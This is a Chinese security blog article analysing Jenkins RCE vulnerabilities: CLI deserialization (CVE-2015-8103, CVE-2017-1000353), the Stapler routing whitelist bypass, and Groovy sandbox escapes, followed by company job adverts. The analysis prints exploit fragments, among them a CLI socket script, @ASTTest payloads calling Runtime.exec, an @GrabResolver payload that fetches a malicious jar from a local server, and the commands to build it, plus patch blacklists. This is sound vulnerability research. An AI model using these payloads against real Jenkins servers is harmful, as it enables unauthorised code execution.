Jenkins RCE漏洞分析汇总

孤人 提交于 2020-12-12 02:36:49

No.1

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。


No.2

前言

之前针对Jenkins没注意看过,看到廖师傅kcon会议上讲的Java沙箱逃逸就涉及到了Jenkins,包括今年开年时候orange发的Jenkins的组合拳,拖拖拉拉到了年底还没看,所以准备开始看。


这里根据Jenkins的漏洞触发点做了一个归类,一种是通过cli的方式触发,一种是通过我们常见的http方式触发。


No.3

环境搭建

在catalina.sh添加,或者catalina.bat内容不动用如下命令开启,默认是开启8000端口

用如下命令开启


catalina.bat jpda start(Windows)

catalina.sh jpda start(linux)


No.4

漏洞分析

1.Cli方式触发


  • CVE-2015-8103

最早开始公开Java 反序列化的时候,何使用 Apache Commons Collections 这个常用库来构造 POP 链(类ROP链),这个在Jenkins上的例子就是这个编号,但是网上对于这个调用链的过程都没有进行分析,所以这里分析一下。


先看看之前那些exp的脚本,这里可以看到漏洞触发已经是和Jenkins的cli有关系,且这里走tcp socket通信的。

response = requests.get(jenkins_web_url, headers=i_headers)

cli_port = int(response.headers['X-Jenkins-CLI-Port'])

print('[+] Found CLI listener port: "%s"' % cli_port)


sock_fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

host = urlparse.urlparse(jenkins_web_url).netloc

try:

    host, port = host.split(':')

except:

    host = host

cli_listener = (socket.gethostbyname(host), cli_port)

print('[+] Connecting CLI listener %s:%s' % cli_listener)

sock_fd.connect(cli_listener)

跟进一下看看。


漏洞分析:

Jenkins cli的入口在这hudson.TcpSlaveAgentListener#ConnectionHandler,这个run构造方法,我们看到调用了p.handle方法。

handle也是一个抽象方法,这里根据前面的Protocol选择相关协议,这里的协议有两个一个是Cli,另一个是JnlpSlaveAgent。我们关注的其实是Cli这个东西。

跟进hudson.cli.CliProtocol#handle ,这里实例化CliProtocol.Handler来处理,并且调用其中的run构造方法

public void handle(Socket socket) throws IOException, InterruptedException {

        (new CliProtocol.Handler(this.nio.getHub(), socket)).run();

    }

继续hudson.cli.CliProtocol$Handler.run,这里调用runcli针对socket连接进行处理。

继续跟进hudson.cli.CliProtocol$Handler.runCli,这的关键是下图标红色的地方。

这里调用hudson.remoting.ChannelBuilder#build来处理传入的buffer缓冲区的数据,跟进这个看看。

public Channel build(InputStream is, OutputStream os) throws IOException {

        return new Channel(this, this.negotiate(is, os));

    }

这里主要是调用this.negotiate来处理is和os,而is和os分别使我们缓冲区的输入和输出,跟进一下hudson.remoting.ChannelBuilder.negotiate

negotiate会检查所有发往Jenkins CLI的命令中都包含某种格式的前导码(preamble),前导码格式通常为:<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4=, 该前导码包含一个经过base64编码的序列化对象,我们抓个包看到这个前导码,也看到发序列化头部base64编码之后的关键字rO0A

然后继续循环往下走,调用Capability.read处理buffer中的内容。

跟进hudson.remoting.Capability#read,标准的反序列化的输入点了,之后就是调用Commons Collections执行反序列化下一步的命令执行操作了。


修复方式:

hudson.remoting.ClassFilter#check会检查是否在黑名单中。

目前默认的黑名单如下所示

private static final String[] DEFAULT_PATTERNS = new String[]{

"^bsh[.].*", 

"^com[.]google[.]inject[.].*", 

"^com[.]mchange[.]v2[.]c3p0[.].*", 

"^com[.]sun[.]jndi[.].*", 

"^com[.]sun[.]corba[.].*", 

"^com[.]sun[.]javafx[.].*", 

"^com[.]sun[.]org[.]apache[.]regex[.]internal[.].*", 

"^java[.]awt[.].*", 

"^java[.]rmi[.].*", 

"^javax[.]management[.].*", 

"^javax[.]naming[.].*", 

"^javax[.]script[.].*", 

"^javax[.]swing[.].*", 

"^org[.]apache[.]commons[.]beanutils[.].*", "^org[.]apache[.]commons[.]collections[.]functors[.].*", 

"^org[.]apache[.]myfaces[.].*", 

"^org[.]apache[.]wicket[.].*", 

".*org[.]apache[.]xalan.*", 

"^org[.]codehaus[.]groovy[.]runtime[.].*",

"^org[.]hibernate[.].*", 

"^org[.]python[.].*", 

"^org[.]springframework[.](?!(\\p{Alnum}+[.])*\\p{Alnum}*Exception$).*", 

"^sun[.]rmi[.].*",

"^javax[.]imageio[.].*", 

"^java[.]util[.]ServiceLoader$", 

"^java[.]net[.]URLClassLoader$"};


  • CVE-2017-1000353

漏洞编号:CVE-2017-1000353

漏洞简述:Jenkins 未授权远程代码执行漏洞, 允许攻击者将序列化的Java SignedObject对象传输给Jenkins CLI处理,反序列化ObjectInputStream作为Command对象,这将绕过基于黑名单的保护机制, 导致代码执行。

影响版本:Jenkins-Ci Jenkins LTS < = 2.46.1


所以从上面这段引用可以看到,漏洞触发还是和cli有关系,我们来详细看看,首先入口在hudson.cli.CLIAction中,代码根据HTTP头部中的side的值来区分是download还是upload操作,然后根据http头部中session里面的uuid的值来区分不同的会话通道。

先跟进看一下download操作,位置在hudson.model.FullDuplexHttpChannel#download,下图中已经将重要部分代码标红了,如果没有接收到upload请求,那么这时候download操作就会阻塞等待,直到upload操作过来,然后建立新的channel对象,来处理upload接收到的请求和响应。

所以这里就要跟进Channel,前面我们说过针对cli方式触发的时候,会调用negotiate来检查格式是否正确,所以这里进入构造方法,实际上是下图中的代码。

Channel(ChannelBuilder settings, InputStream is, OutputStream os) throws IOException {

        this(settings, settings.negotiate(is, os));

    }

跟进hudson.remoting.ChannelBuilder#negotiate,这里会调用makeTransport方法。

跟进makeTransport方法,位置在hudson.remoting.ChannelBuilder#makeTransport,这个方法会根据cap是否支持Chunking来返回不同的对象,分别是ChunkedCommandTransportClassicCommandTransport

然后又进去hudson.remoting.Channel中的下图代码进行操作,这里红框圈出部分关键代码。这里会调用transport.setup处理对象CommandReceiver

而setup也是一个抽象类,会调用 hudson.remoting.SynchronousCommandTransport#setup这个回启东一个ReaderThread线程来处理传入的CommandReceiver对象。

public void setup(Channel channel, CommandReceiver receiver) {

        this.channel = channel;

        (new SynchronousCommandTransport.ReaderThread(receiver)).start();

    }

跟进hudson.remoting.SynchronousCommandTransport#ReaderThread,这个方法会调用SynchronousCommandTransport.this.read

而这里的read是个抽象类,目前这个流程中,他的实现方法在hudson.remoting.ClassicCommandTransport中。

public final Command read() throws IOException, ClassNotFoundException {

        try {

            Command cmd = Command.readFrom(this.channel, this.ois);

            if (this.rawIn != null) {

                this.rawIn.clear();

            }


            return cmd;

        } catch (RuntimeException var2) {

            throw this.diagnoseStreamCorruption(var2);

        } catch (StreamCorruptedException var3) {

            throw this.diagnoseStreamCorruption(var3);

        }

    }

那么再跟进 hudson.remoting.Command#readFrom就找到反序列化的触发点了。


修复方式:

我们可以看到本次修复,实际上引入了CVE-2015-8103的黑名单,并且将java.security.SignedObject本次的反序列化绕过方法加入这个黑名单中。


2.HTTP方式触发


  • CVE-2018-1000861

动态路由分析:

首先Jenkins会将所有请求交给`org.kohsuke.stapler.Stapler`来进行处理。

<servlet>

  <servlet-name>Stapler</servlet-name>

  <servlet-class>org.kohsuke.stapler.Stapler</servlet-class>

  <init-param>

    <param-name>default-encodings</param-name>

    <param-value>text/html=UTF-8</param-value>

  </init-param>

  <init-param>

    <param-name>diagnosticThreadName</param-name>

    <param-value>false</param-value>

  </init-param>

  <async-supported>true</async-supported>

</servlet>

跟进`org.kohsuke.stapler.Stapler`这个类中,简单缩减一下代码,如下所示:

protected @Override void service(HttpServletRequest req, HttpServletResponse rsp) throws ServletException, IOException {

        Thread t = Thread.currentThread();

        final String oldName = t.getName();

...

            if (servletPath.startsWith(BoundObjectTable.PREFIX)) {

                // serving exported objects

                invoke( req, rsp, webApp.boundObjectTable, servletPath.substring(BoundObjectTable.PREFIX.length()));

                return;

            }

...

            Object root = webApp.getApp();

            if(root==null)

                throw new ServletException("there's no \"app\" attribute in the application context.");


            // consider reusing this ArrayList.

            invoke( req, rsp, root, servletPath);

        } finally {

            t.setName(oldName);

        }

    }

其中PREFIX的值是`/$stapler/bound/`。

public static final String PREFIX = "/$stapler/bound/";

也就是说在这里Jenkins会根据用户传入的URL不同,来调用不同的webapp,这里的invoke方法中有4个参数,它们分别是:


🔸req:请求对象

🔸rsp:响应对象

🔸root:webapp节点

🔸servletPath:经过路由解析后的对象


如果url以`/$stapler/bound/`开开头,那么它对应的root节点对象是:`webApp.boundObjectTable(org.kohsuke.stapler.bind.BoundObjectTable)`,而这个root对象实际上如果不是动态调试静态看代码我是看不出来,所以我在这里下个断点,我可以看到这个root节点对象对应的类是 hudson.model.Hudson,而这个类正是继承了jenkins.model.Jenkins

继续向下跟进,跟进我们刚刚invoke方法,这个方法位置在org.kohsuke.stapler.Stapler#invoke。这个方法又调用了invoke来处理。

继续跟进,我们可以看到这里调用了 org.kohsuke.stapler.Stapler#tryInvoke来进行处理。

详细跟进一下org.kohsuke.stapler.Stapler#tryInvoke这个方法,我截取部分代码如下:

boolean tryInvoke(RequestImpl req, ResponseImpl rsp, Object node ) throws IOException, ServletException {

        if(traceable())

            traceEval(req,rsp,node);


        if(node instanceof StaplerProxy) {

        ...

        }

        if (node instanceof StaplerOverridable) {

        ...

        }

        if(node instanceof StaplerFallback) {

        ...

        }

这里有三个根据不同的node节点进行相应操作`instanceof`,从代码中来看顺序应该是从上到下分别是:


- StaplerProxy

- StaplerOverridable

- StaplerFallback


而Jenkins这部分其实在文档中也写了:

所以说文档中的描述和代码中看到的是一致的,所以tryInvoke这个方法实际上做哦那个就是完成路由的分发,路由的绑定操作等。我们可以看看当我们传入`/aa/bb/cc`的时候,路由是如何选择。


当我们传入`/aa/bb/cc`的时候,对应的root根对象是`hudson.model.Hudson`,所以这里向根据这个node获取一个metaClass对象,然后轮询 MetaClass中的metaClass.dispatchers

但是这里具体如何操作还是有点懵逼,这里还是慢慢的跟一下,用@orange文章的白名单路由来做个文章,后面也会详细分析,路由为`/securityRealm/user/test/` ,跟进`org.kohsuke.stapler.WebApp#getMetaClass`。

 public MetaClass getMetaClass(Object o) {

        return getMetaClass(getKlass(o));

    }

在这里面又调用了getKlassgetMetaClass,先看看getKlass,这里最后的return操作实例化相关类对象,这里对应的自然是我们前面路由分析的时候,如果url不是以`/$stapler/bound/`开头,对应的对象自然是hudson.model.Hudson

public Klass<?> getKlass(Object o) {

...

        return Klass.java(o.getClass());

    }

我们再看看getMetaClass,在getMetaClass中首先获取传入的类对象,然后实例化MetaClass针对传入的对象进行处理。

跟进MetaClass,来详细看看,我们可以看到这就是通过我们刚刚实例化的Klass类,然后根据这个类获取相应信息,最后使用buildDispatchers

/*package*/ MetaClass(WebApp webApp, Klass<?> klass) {

        this.clazz = klass.toJavaClass();

        this.klass = klass;

        this.webApp = webApp;

        this.baseClass = webApp.getMetaClass(klass.getSuperClass());

        this.classLoader = MetaClassLoader.get(clazz.getClassLoader());

        buildDispatchers();

    }

跟进 org.kohsuke.stapler.MetaClass.buildDispatchers,其实从注释里面就知道这个方法干啥的了。

简单翻译一下这个是处理路由调度的核心,他通过反射使用相关的类,并且确认由谁处理这个URL,这部分代码很长,而且也能看得出来Jenkins给了用户足够多的自由度,但有时候其实就是给你的自由过了火导致的问题,从代中把这些全部梳理了出来:

<obj>.do<token>(...) and other WebMethods:do(...)或者@WebMethods标注

<obj>.doIndex(...):doIndex(...)

<obj>js<token>:js(...)

method with @JavaScriptMethod:@JavaScriptMethod标注

NODE.TOKEN

NODE.getTOKEN():get()

NODE.getTOKEN(StaplerRequest):get(StaplerRequest)

<obj>.get<Token>(String):get(String)

<obj>.get<Token>(int):get(int)

<obj>.get<Token>(long):get(long)

<obj>.getDynamic(<token>,...):ggetDynamic(...)

<obj>.doDynamic(...):doDynamic(...)

随便找个例子,在处理node时候会先实例化 NameBasedDispatcher,然后把这个加到 dispatchers中,然后使用doDispatch处理传过来的请求,最后通过invoke反射的方式调用相关类。

所以我们回忆一下`/securityRealm/user/test/`的解析过程,在org.kohsuke.stapler.Stapler中这里的d.dispatch会处理传入的请求。

 try {

            for( Dispatcher d : metaClass.dispatchers ) {

                if(d.dispatch(req,rsp,node)) {

这里的dispathch是一个抽象类,他的实现方法有下图中那么多,我们看到 NameBasedDispatcher是不是有点眼熟。

跟进 org.kohsuke.stapler.NameBasedDispatcher#dispathch这里有个doDispatch,实际上这个也是个抽象类,主要实现还是在MetaClass中的buildDispatchers,前面我们也了解过了buildDispatchers这个方法会根据node节点的不同选择不同的方法去实现。

这里简单画个代码流程图吧。

所以可以看到最后在 org.kohsuke.stapler.MetaClass已经成功解析了我们传入的第一个node节点securityRealm

紧接着解析第二个node节点时候,首先跟进这个getStapler返回的是当前stapler对象。

public Stapler getStapler() {

        return stapler;

    }

这里的ff是一个`org.kohsuke.stapler.Function`对象,它保存了当前根节点中方法的各种信息。

ff.invoke处理之后会返回`Hudson.security.HudsonPrivateSecurityRealm`,然后又会把这个东西带入到tryInvoke中进行第二次解析,就是这样循环下去。

现在再回头过看,我们之前用到一个payload:`/securityRealm/user/test/`,这个payload中的securityRealm是Jenkins的一个路由白名单,白名单是个什么情况呢,我们来看看。


首先前面提到过tryInvoke的时候,会进行三个优先级不同操作:


- StaplerProxy

- StaplerOverridable

- StaplerFallback


根据优先级,首先进行的是StaplerProxy,我们详细看看这个,这个做了一个try的操作,跟进一下getTarget()方法。

而getTarget()的实现主要在这几个地方出现过。

在Jenkins中,入口是`jenkins.model.Jenkins`,所以跟进看看jenkins.model.Jenkins#getTarget

首先checkPermission会进行权限进行检查,检查是否有读的权限,如果没有会抛出异常,而在异常里有一个`isSubjectToMandatoryReadPermissionCheck`对路径进行二次检测,如果这个检测没通过就退出,否则正常返回。继续跟进 jenkins.model.Jenkins#isSubjectToMandatoryReadPermissionCheck,这里有个常量的白名单判断。

看看这个白名单的值,所以很明显了,如果请求的路径在这个白名单里面,那么就可以绕过权限校验。

ALWAYS_READABLE_PATHS = ImmutableSet.of("/login", "/logout", "/accessDenied", "/adjuncts/", "/error", "/oops", new String[]{"/signup", "/tcpSlaveAgentListener", "/federatedLoginService/", "/securityRealm", "/instance-identity"});


跨物件操作导致白名单绕过:

> 1.在 Java 中, 所有的物件皆继承 java.lang.Object这个类別, 因此所有在 Java 中的物件皆存在著 `getClass()` 這個方法。

> 2.恰巧这个方法又符合动态路由调用`get<token>(...)`的命名規則, 因此 `getClass()` 可在 Jenkins 调用链中被动能呼叫。

> 3.入口检查的白名单绕过


会从上倒下依次执行

jenkins.model.Jenkins.getAdjuncts("whatever") 

.getClass()

.getClassLoader()

.getResource("index.jsp")

.getContent()

从这个例子中我们看到如果是`xx.com/adjuncts/aa/bb/cc`,那么jenkins就会去寻找getAa、getBb等相关get方法,也就是说在这里我们可以任意操作GETTER方法。


回到最早的用来测试路由`/securityRealm/user/test`,我们也很清楚的看到这里去寻找`jenkins.model.Jenkins.getsecurityRealm()`。


利用链条:

再回到orange给的这个路由`/securityRealm/user/test`,跟进去,这个我们之前聊过,根据这个路由解析过程应该是分别是getsecurityRealmgetUser,当解析getUser的时候来到的是hudson.security.HudsonPrivateSecurityRealm.getUser中。

跟进hudson.security.HudsonPrivateSecurityRealm.getUser,这里实际上和我们的url一致了,上图中的url实际上是user/test,这里根据传入的下一节点名当做 id,然后生成一个 User 出来,所以这里将test传入getUser构造方法中,并调用hudson.model.User进行处理,最后生成一个User出来,但是测试发现如果没有用户一样能够生成,具体原因没有去深究。

这里看看User的继承关系,这里有个

`hudson.model.DescriptorByNameOwner#getDescriptorByName`

实际上是User中写了一个getDescriptorByName方法,是来自`hudson.model.DescriptorByNameOwner#getDescriptorByName`这个接口。

public Descriptor getDescriptorByName(String className) {

        return Jenkins.getInstance().getDescriptorByName(className);

    }

而这个方法中的实际上就是调用了Jenkins.getInstance().getDescriptorByName,跟进jenkins.model.Jenkins#getDescriptorByName,调用了jenkins.model.Jenkins#getDescriptor

 public Descriptor getDescriptorByName(String id) {

        return this.getDescriptor(id);

    }

跟进jenkins.model.Jenkins#getDescriptor,这里根据id(string)来获取所有继承了Descriptor的子类

也就是说实际上我们通过构造`/securityRealm/user/DescriptorByName/xxx`就可以使用了继承了Descriptor这个的子类。


利用链:

Jenkins ->HudsonPrivateSecurityRealm->User->DescriptorByNameOwner->Jenkins->Descriptor


我们从登陆限制的情况下,利用这个方法可以绕过限制,从而达到未授权访问某些功能的目的。


沙盒绕过:


SECURITY-1266:

从官方通告来看,更新了一个groovy沙盒绕过的问题。

%40ASTTest(value%3d%7bassert+java.lang.Runtime.getRuntime().exec(%22open+%2fApplications%2fCalculator.app%22)%7d)%0a

class+Person%7b%7d

@GrabResolver(name='Exp', root='http://127.0.0.1:9999/')%0a

@Grab(group='demo_server.exp', module='poc', version='2')%0a

import Exp;

分别开看看,可恶意看到的触发的类都是

`org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript`,跟进来看。

DescriptorImpl方法继承了Descriptor,且在doCheckScript里面,实例化了GroovyShell对象,并且输出,根据前面的分析doCheckScript可控。


@ASTTest:执行断言的时候执行代码


这个和PHP的assert有点像。

Grab:引入外部恶意类


`Grape`是groovy内置的依赖管理引擎,而且在官方文档中,我们发现它可以将root地址自行指定,从而引入恶意类。

javac Exp.java

mkdir -p META-INF/services/

echo Exp > META-INF/services/org.codehaus.groovy.plugins.Runners

jar cvf poc-2.jar Exp.class META-INF

mkdir -p ./demo_server/exp/poc/2/

mv poc-2.jar demo_server/exp/poc/2/

补丁:

private static final List<Class<? extends Annotation>> BLOCKED_TRANSFORMS = ImmutableList.of(ASTTest.class, Grab.class);


 SECURITY-1292:

官方测试案例:

补丁:


SECURITY-1318:

@Grapes([@Grab(group='foo', module='bar', version='1.0')])\ndef foo\n

@GrabConfig(autoDownload=false)\ndef foo\n

@GrabExclude(group='org.mortbay.jetty', module='jetty-util')\ndef fo


SECURITY-1319:

@GrabResolver(name='restlet.org', root='http://maven.restlet.org')\ndef foo\n


SECURITY-1320:

"import groovy.transform.ASTTest as lolwut\n" +

                "import jenkins.model.Jenkins\n" +

                "import hudson.model.FreeStyleProject\n" +

                "@lolwut(value={ assert Jenkins.getInstance().createProject(FreeStyleProject.class, \"should-not-exist\") })\n" +

                "int x\n" +

                "echo 'hello'\n", false

"import groovy.transform.*\n" +

                "import jenkins.model.Jenkins\n" +

                "import hudson.model.FreeStyleProject\n" +

                "@groovy.transform.ASTTest(value={ assert Jenkins.getInstance().createProject(FreeStyleProject.class, \"should-not-exist\") })\n" +

                "@Field int x\n" +

                "echo 'hello'\n", false


SECURITY-1321:

import groovy.transform.*\n" +

                "import jenkins.model.Jenkins\n" +

                "import hudson.model.FreeStyleProject\n" +

                "@AnnotationCollector([ASTTest]) @interface Lol {}\n" +

                "@Lol(value={ assert Jenkins.getInstance().createProject(FreeStyleProject.class, \"should-not-exist\") })\n" +

                "@Field int x\n" +

                "echo 'hello'\n", false

补丁:

还是1266修复时候那个方法,增强了黑名单。

BLOCKED_TRANSFORMS = 

ImmutableList.of(ASTTest.class.getCanonicalName(),

Grab.class.getCanonicalName(),

GrabConfig.class.getCanonicalName(), 

GrabExclude.class.getCanonicalName(), 

GrabResolver.class.getCanonicalName(),

Grapes.class.getCanonicalName(), 

AnnotationCollector.class.getCanonicalName());


SECURITY-1353:

assertRejected(new StaticWhitelist("staticMethod java.util.Locale getDefault"), "method java.util.Locale getCountry", "interface I {String getCountry()}; (Locale.getDefault() as I).getCountry()");

        assertRejected(new StaticWhitelist("staticMethod java.util.Locale getDefault"), "method java.util.Locale getCountry", "interface I {String getCountry()}; (Locale.getDefault() as I).country");

        assertRejected(new ProxyWhitelist(), "staticMethod java.util.Locale getAvailableLocales", "interface I {Locale[] getAvailableLocales()}; (Locale as I).getAvailableLocales()");

        assertRejected(new ProxyWhitelist(), "staticMethod java.util.Locale getAvailableLocales", "interface I {Locale[] getAvailableLocales()}; (Locale as I).availableLocales");

        assertEvaluate(new StaticWhitelist("staticMethod java.lang.Math max int int"), 3.0d, "(double) Math.max(2, 3)");

        assertEvaluate(new StaticWhitelist("staticMethod java.lang.Math max int int"), 3.0d, "Math.max(2, 3) as double");

        assertEvaluate(new StaticWhitelist("staticMethod java.lang.Math max int int"), 3.0d, "double x = Math.max(2, 3); x");

        assertRejected(new GenericWhitelist(), "staticMethod org.codehaus.groovy.runtime.ScriptBytecodeAdapter asType java.lang.Object java.lang.Class",

            "def f = org.codehaus.groovy.runtime.ScriptBytecodeAdapter.asType(['/tmp'], File); echo(/$f/)");

        assertRejected(new GenericWhitelist(), "staticMethod org.codehaus.groovy.runtime.ScriptBytecodeAdapter castToType java.lang.Object java.lang.Class",

            "def f = org.codehaus.groovy.runtime.ScriptBytecodeAdapter.castToType(['/tmp'], File); echo(/$f/)");

        assertRejected(new GenericWhitelist(), "new java.io.File java.lang.String",

            "def f = org.kohsuke.groovy.sandbox.impl.Checker.checkedCast(File, ['/tmp'], true, false, false); echo(/$f/)");

补丁:

在执行的时候只执行白名单,并且加强白名单和黑名单。


2.总结

可以看到这种RCE的漏洞,Jenkins从目前修复来看,基本上都是白名单、黑名单或者黑名单+白名单的方式,来解决问题。


No.6

招聘启事

雷神众测SRC运营(实习生)
————————

工作地点:杭州(总部)、广州、成都、上海、北京

【职责描述】
1.  负责SRC的微博、微信公众号等线上新媒体的运营工作,保持用户活跃度,提高站点访问量;
2.  负责白帽子提交漏洞的漏洞审核、Rank评级、漏洞修复处理等相关沟通工作,促进审核人员与白帽子之间友好协作沟通;
3.  参与策划、组织和落实针对白帽子的线下活动,如沙龙、发布会、技术交流论坛等;
4.  积极参与雷神众测的品牌推广工作,协助技术人员输出优质的技术文章;
5.  积极参与公司媒体、行业内相关媒体及其他市场资源的工作沟通工作。

【任职要求】 
 1.  责任心强,性格活泼,具备良好的人际交往能力;
 2.  对网络安全感兴趣,对行业有基本了解;
 3.  良好的文案写作能力和活动组织协调能力。



雷神众测白帽运营(实习生)

————————

工作地点:杭州(总部)、广州、成都、上海、北京

【岗位职责】

1.准确了解白帽子爱好,发掘白帽子需求

2.负责各类周边、礼物的挑选与采购

3.对黑客文化有深刻认知

4.维护白帽关系


【任职要求】

1.具有良好的审美眼光

2.具备定制礼品礼物经验

3.较强的沟通以及协调能力

4.为人正直,具备良好的职业道德,能吃苦耐劳,具有良好的团队合作精神


【加分项】

1、具备美术功底、懂得设计美化等

2、有互联网运营经验



简历投递至 strategy@dbappsecurity.com.cn

设计师

————————

【职位描述】
负责设计公司日常宣传图片、软文等与设计相关工作,负责产品品牌设计。

【职位要求】
1、从事平面设计相关工作1年以上,熟悉印刷工艺;具有敏锐的观察力及审美能力,及优异的创意设计能力;有 VI 设计、广告设计、画册设计等专长;
2、有良好的美术功底,审美能力和创意,色彩感强;精通photoshop/illustrator/coreldrew/等设计制作软件;
3、有品牌传播、产品设计或新媒体视觉工作经历;

【关于岗位的其他信息】
企业名称:杭州安恒信息技术股份有限公司
办公地点:杭州市滨江区安恒大厦19楼
学历要求:本科及以上
工作年限:1年及以上,条件优秀者可放宽


简历投递至 strategy@dbappsecurity.com.cn

安全招聘
————————

公司:安恒信息
岗位:Web安全 安全研究员
部门:安服战略支援部
薪资:13-30K
工作年限:1年+
工作地点:杭州(总部)、广州、成都、上海、北京
工作环境:一座大厦,健身场所,医师,帅哥,美女,高级食堂…

【岗位职责】
1.定期面向部门、全公司技术分享;
2.前沿攻防技术研究、跟踪国内外安全领域的安全动态、漏洞披露并落地沉淀;
3.负责完成部门渗透测试、红蓝对抗业务;
4.负责自动化平台建设
5.负责针对常见WAF产品规则进行测试并落地bypass方案

【岗位要求】
1.至少1年安全领域工作经验;
2.熟悉HTTP协议相关技术
3.拥有大型产品、CMS、厂商漏洞挖掘案例;
4.熟练掌握php、java、asp.net代码审计基础(一种或多种)
5.精通Web Fuzz模糊测试漏洞挖掘技术
6.精通OWASP TOP 10安全漏洞原理并熟悉漏洞利用方法
7.有过独立分析漏洞的经验,熟悉各种Web调试技巧
8.熟悉常见编程语言中的至少一种(Asp.net、Python、php、java)

【加分项】
1.具备良好的英语文档阅读能力;
2.曾参加过技术沙龙担任嘉宾进行技术分享;
3.具有CISSP、CISA、CSSLP、ISO27001、ITIL、PMP、COBIT、Security+、CISP、OSCP等安全相关资质者;
4.具有大型SRC漏洞提交经验、获得年度表彰、大型CTF夺得名次者;
5.开发过安全相关的开源项目;
6.具备良好的人际沟通、协调能力、分析和解决问题的能力者优先;
7.个人技术博客;
8.在优质社区投稿过文章;


岗位:安全红队武器自动化攻城狮
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)

【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。

【岗位要求】
1.熟练使用Python、java等至少一门语言作为主要开发语言;
2.熟练使用Django、flask 等常用web开发框架、以及熟练使用mysql、mongoDB、redis等数据存储方案;
3.熟悉OWASP TOP 10常见WEB安全漏洞原理;
4.对安全技术有浓厚的兴趣及热情,有主观研究和学习的动力;
5.具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。

【加分项】
1.有高并发tcp服务、分布式等相关经验者优先;
2.在github上有开源安全产品优先;
3.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
4.在互联网企业有相关安全产品开发经验优先;
5.具备良好的英语文档阅读能力。

PS:邮件主题中请注明工作意向城市,岗位要求可通过加分项弥补



安全服务工程师/渗透测试工程师

————————

工作地点:新疆


1、掌握渗透测试原理和渗透测试流程,具备2年以上渗透测试工作经验,能够独立完成渗透测试方案和测试报告;
2、熟悉风险评估、安全评估;
3、熟练掌握各类渗透工具,如Sqlmap、Burpsuite、AWVS、Appscan、Nmap、Metasploit、Kali等;
4、熟练掌握Web渗透手法,如SQL注入、XSS、文件上传等攻击技术;
5、至少熟悉一种编程语言(php/java/python),能够独立编写poc者优先;
6、具有良好的沟通能力和文档编写能力,动手能力强;
7、对工作有热情,耐心、责任心强,具备沟通能力和良好的团队意识;
8、加分项:有安全开发经验/可进行代码审计工作;
9、加分项:有安全和网络相关证书,如CISSP、CISA、CISP 、CCNP、CCIE等认证者;
岗位职责:
1、参与安全服务项目实施,其中包括渗透测试与安全评估,代码审计,安全培训,应急响应;
2、独立完成安全服务项目报告编写,输出安全服务实施报告;



简历投递至 strategy@dbappsecurity.com.cn


专注渗透测试技术

全球最新网络攻击技术


END

本文分享自微信公众号 - 雷神众测(thorsrc)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!